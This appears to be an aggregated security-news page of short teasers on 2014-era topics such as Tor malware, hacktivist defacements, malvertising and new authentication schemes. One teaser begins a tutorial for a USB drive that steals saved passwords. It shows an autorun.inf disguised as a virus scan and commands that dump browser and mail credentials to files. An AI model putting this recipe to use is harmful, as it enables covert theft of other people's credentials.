British job centers to introduce biometric recognition
Job centers across the United Kingdom are due to get a technological makeover, courtesy of biometric and signature recognition pads, reports IT Pro Portal.
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Job centers across the United Kingdom are due to get a technological makeover, courtesy of biometric and signature recognition pads, reports IT Pro Portal.
1.Log onto the computer as the “Administrator.” Go to “Start” > “Search.” 2.Enter “cmd” into the “Search” box. Press “Enter.” 3.Go to “Start” > “Programs” > “Skype.” 4.Click “Contacts” and then click on the name of a contact on the menu. 5.Click “Call” and wait until the other person answers. If he does not answer, […]
Security of open source code is a hot topic, what with Heartbleed, Shellshock, and Poodle making the news. Open source code is now widely used everywhere, from big enterprises to small businesses. This recorded webinar discusses how to keep open source tools secure,
A study by Microsoft has revealed that 42 percent of Americans face ‘weekly or daily’ attacks by cybercriminals trying to access their computers, Network World reports.
An exit node on the Tor network has been discovered to be slipping malware on top of downloads, according to The Register. The server, based in Russia, has been flagged as bad by The Tor Project, but this “would not prevent copycat attackers from the more than 100 exit nodes in operation.”
Most internet users have faced some kind of problems with internet trolls – and a new study has thrown light on who they are. We discuss how best to deal with the online pests.
An Iranian hacker going with the handle of MoHaMaD VaKeR hacked and defaced the official sub-domain ofTelecommunications Regulatory Authority (TRA) of United Arab Emirates (UAE), two days ago on 25th Oct 2014. The targeted sub-domain reportedly belongs to IPV6 training forum. Hacker left a deface page along with a message on hacked domain, bashing the site admin […]
It is our duty to protect our data— but are we ready? No one would have thought that the most practical invention of the past decade will be the Smartphone. It is a reality that we cannot live without these devices at all. Smartphones have become a mandatory part of our life since with few […]
The online hacktivist Anonymous is back with yet another cyber attack. This time the group has taken down 43 top Israeli government websites against shooting and killing of a 14-year-old U.S. citizen Orwah Hammad by Israeli Defence Forces. Anonymous conducted the cyber attack under the banner of #OpOrwahHammad in which websites belonging to Israeli government such as […]
A selection of rival privacy conscious Tor routers have appeared on crowdfunding sites after the Anonabox was surprisingly pulled just days after smashing its modest funding targets.
Popular microblogging platform Twitter is taking bold steps to try and put an end to the password as we know it, according to Sky News.
There is growing concern that in the rush to embrace technology to save and improve the lives of patients, medical scientists may have forgotten something important: security.
Tips for safe holiday shopping: whether you shop online or at the mall, there are some simple strategies that can protect your bank accounts and payment cards against criminal hackers and scammers.
Over the past few years, counter surveillance gadgets which might have been the preserve of secretive government departments a decade ago have suddenly hit mainstream shops – from Mission Impossible-stlye self-destructing drives to some rather eerie counter-surveillance masks.
This tutorial will walk you through setting up a USB flash drive to steal the saved passwords on a computer. Method 1 open notepad/wordpad ————————————— type:[autorun] open=launch.bat ACTION= Perform a Virus Scan ————————————— save this as AUTORUN.inf open a new notepad/wordpad document type:start mspass.exe /stext mspass.txt start mailpv.exe /stext mailpv.txt start iepv.exe /stext iepv.txt start […]
An Australian citizen Scott Robert Hansen, 37, was sentenced to one year in prison for keeping obscene conversations with children on the internet. Hansen was caught by Sweetie, a ten-year-old Filipino virtual girl. Sweetie is created and operated by the Dutch rights group (Terre des Hommes TDH) staff from Amsterdam, Holland. The NGO used cameras and computers to […]
An army of the undead, wreaking havoc on the Internet – it’s a nightmare scenario that has played out many times as the population of humans online has exploded. Some zombie plagues have been particularly troubling, and we will take a look at the worst of the worst.
As I’ve written in my earlier posts, Android 5.0 Lollipop is the most significant change in Android line-up since 2011’s Android Ice Cream Sandwich. Lollipop aims at making material design a more prominent feature in looks and feels of the Android OS. Apart from the popular and known features of Android’s new OS, there are […]
Cybercriminals taking advantage of a ‘malvertising’ attack on big name sites including Yahoo!, Match.com and AOL were making in the region of $25,000 per day, according to Forbes.
Last month, we presented “The Evolution of Webinject” in Seattle at the 24th Virus Bulletin conference. This blog post will go over its key findings and provide links to the various material that has been released in the last few weeks.
Microsoft is taking aim at traditional single password systems with the upcoming version of Windows, by including build in two-factor authentication according to ZDNet, which describes the move as “audacious plans to tighten security”.